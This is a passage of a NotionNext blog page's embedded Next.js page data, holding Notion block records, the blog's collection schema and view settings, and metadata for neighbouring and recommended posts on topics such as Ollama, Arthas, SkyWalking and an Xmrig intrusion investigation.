36561f113"}},"2bd9a3c8-b377-495f-a97d-1f14f07afb07":{"value":{"id":"2bd9a3c8-b377-495f-a97d-1f14f07afb07","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章加锁"]],"`VuO":[["需要输入密码访问"]]},"format":{"copied_from_pointer":{"id":"af2f7c5d-bdf2-4073-add4-b930fec4e652","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"af2f7c5d-bdf2-4073-add4-b930fec4e652"}},"10ad4028-c0e3-4095-aa46-81b07349c917":{"value":{"id":"10ad4028-c0e3-4095-aa46-81b07349c917","type":"header","properties":{"title":[["二、加锁说明"]]},"format":{"copied_from_pointer":{"id":"2e8f0e15-089f-4daa-b535-9c697e4e4878","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"2e8f0e15-089f-4daa-b535-9c697e4e4878"}},"08c43877-2376-4822-87e5-a9a62b39c716":{"value":{"id":"08c43877-2376-4822-87e5-a9a62b39c716","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/zh/features/articleLock"]],"title":[["NotionNext: 基于Next.js 的Notion博客站点生成器"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/android-icon-192x192.png","bookmark_cover":"https://docs.tangly1024.com/og.png","copied_from_pointer":{"id":"3e4efc73-924d-43ba-ba9f-90c38178467b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"3e4efc73-924d-43ba-ba9f-90c38178467b"}},"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f":{"value":{"id":"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f","type":"text","format":{"copied_from_pointer":{"id":"bccb3a75-04c9-4fa8-accb-96add746f5ef","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"bccb3a75-04c9-4fa8-accb-96add746f5ef"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-2"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
